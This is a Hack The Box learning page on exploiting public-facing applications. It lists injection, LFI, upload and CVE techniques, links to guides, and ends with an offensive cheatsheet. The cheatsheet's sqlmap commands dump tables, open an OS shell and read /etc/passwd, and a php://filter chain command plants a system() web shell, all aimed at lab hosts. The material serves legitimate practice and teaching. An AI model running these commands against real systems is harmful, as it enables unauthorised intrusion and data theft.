Exploit Public-Facing Application
Abusing a flaw in an internet-facing application (web, API, CMS) to run code or read data.
How it shows up on Hack The Box
It is the way in for most boxes: injections (SQL, command, SSTI), LFI, file upload, deserialization or a public CVE for the installed version. Below you have each variant with its machines.
Techniques in our catalog that match this one (the number is their machines):
- SQL injection 31
- NoSQL injection 1
- Command injection 40
- LFI / path traversal 50
- Remote file inclusion (RFI) 3
- Malicious file upload 46
- Server-Side Template Injection 12
- SSRF 15
- XXE 4
- Insecure deserialization 20
- Authentication bypass 22
- IDOR 6
- Mass assignment 5
- Public CVE exploitation 110
- CMS exploitation 22
- IIS and ASP.NET 9
- CSRF 4
- GraphQL 2
- LDAP injection 2
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Showing 48 of 218. Open each catalog technique above to see them all.
Guides
- SQL injection: from a single quote to dumping the database 4 min read How to detect SQLi, extract data with UNION, blind or time-based, read files and when to reach for sqlmap. With a per-engine cheat sheet (MySQL, PostgreSQL, MSSQL, SQLite).
- NoSQL injection in MongoDB: bypass the login and extract passwords 3 min read Detect a NoSQL injection, get through a MongoDB login with $ne and $regex, and extract passwords one character at a time with a Python script.
- OS command injection: detection, blind injection and filter bypasses 4 min read How to find OS command injection on Linux and Windows, confirm it blind (time, DNS, HTTP) and bypass the most common space, keyword and character filters.
- LFI: from reading /etc/passwd to running commands 4 min read Local file inclusion step by step: path traversal and its bypasses, PHP wrappers, which files to read on Linux and Windows, and the routes to turn an LFI into RCE.
- Malicious file upload: bypassing upload filters to get a web shell 4 min read Upload filter bypass step by step: alternative extensions, Content-Type, magic bytes, .htaccess and web.config, and finding where the file lands to run it.
- SSTI: fingerprinting the template engine and getting RCE 3 min read Detect server-side template injection, work out whether it is Jinja2, Twig, FreeMarker, ERB or Mako, and the payloads to run commands on each one.
- SSRF: using the server to reach internal services and the cloud 4 min read SSRF step by step: detect it, scan internal ports, bypass localhost filters with redirects and alternative IPs, read AWS metadata and attack Redis with gopher.
- XXE: reading server files with XML external entities 4 min read What XXE is, how to find it in APIs, SVG and Office documents, read files with php://filter, blind XXE with an external DTD, and chaining it into SSRF.
- Insecure deserialization: spotting and exploiting it in Java, .NET, PHP, Python and Node.js 4 min read Spot serialized data by its first bytes (rO0AB, AAEAAAD, O:, gASV), understand gadget chains and get RCE with ysoserial, ysoserial.net, phpggc and pickle.
- IDOR, mass assignment and APIs: the access control flaws scanners miss 3 min read Enumerate an API (Swagger, hidden routes, versions), find IDORs by changing IDs, become admin with mass assignment and test access control with two users.
- Exploiting a public CVE: finding, reading and fixing exploits from searchsploit and GitHub 4 min read From a version number to a shell: identify the software, search searchsploit, GitHub and nuclei, read the exploit before running it and fix the broken ones.
- Attacking WordPress, Joomla and Drupal: from wpscan to RCE 3 min read Identify the CMS and its version, enumerate plugins and users with wpscan, joomscan and droopescan, and go from admin to shell on WordPress, Joomla and Drupal.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
SQL injection payloads › sqlmap
Test a GET parameter
Attacker
sqlmap -u 'http://10.10.11.20/item.php?id=1' --batch --dbs
From a request saved in Burp
Attacker
sqlmap -r peticion.txt --batch --level 5 --risk 3
Forms on the page
Attacker
sqlmap -u 'http://10.10.11.20/login.php' --forms --batch
Dump a table
Attacker
sqlmap -r peticion.txt --batch -D app -T users --dump
Boolean and time based only
Attacker
sqlmap -r peticion.txt --batch --technique=BT
Evade filters with tampers
Attacker
sqlmap -r peticion.txt --batch --tamper=space2comment,between
Injection in a cookie or header
Attacker
sqlmap -u 'http://10.10.11.20/' --cookie='session=abc*' --batch --level 2The asterisk marks where to inject.
OS shell
Attacker
sqlmap -r peticion.txt --batch --os-shell
Read a file
Attacker
sqlmap -r peticion.txt --batch --file-read=/etc/passwdLFI, SSTI, command injection and XXE › LFI
RCE without uploading anything (filter chain)
Attacker
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'Builds a huge php://filter chain that writes that code when included. Tool by Synacktiv.
LFI, SSTI, command injection and XXE › SSTI
SSTImap
Attacker
python3 sstimap.py -u 'http://10.10.11.20/page?name=test'sqlmap › Extras
Get past a simple WAF
sqlmap -r peticion.txt --batch --tamper=space2comment,between --random-agent
Injection in a cookie
sqlmap -u http://box.htb/ --cookie='id=1*' --level 2 --batchThe asterisk marks where to inject.
No command matches.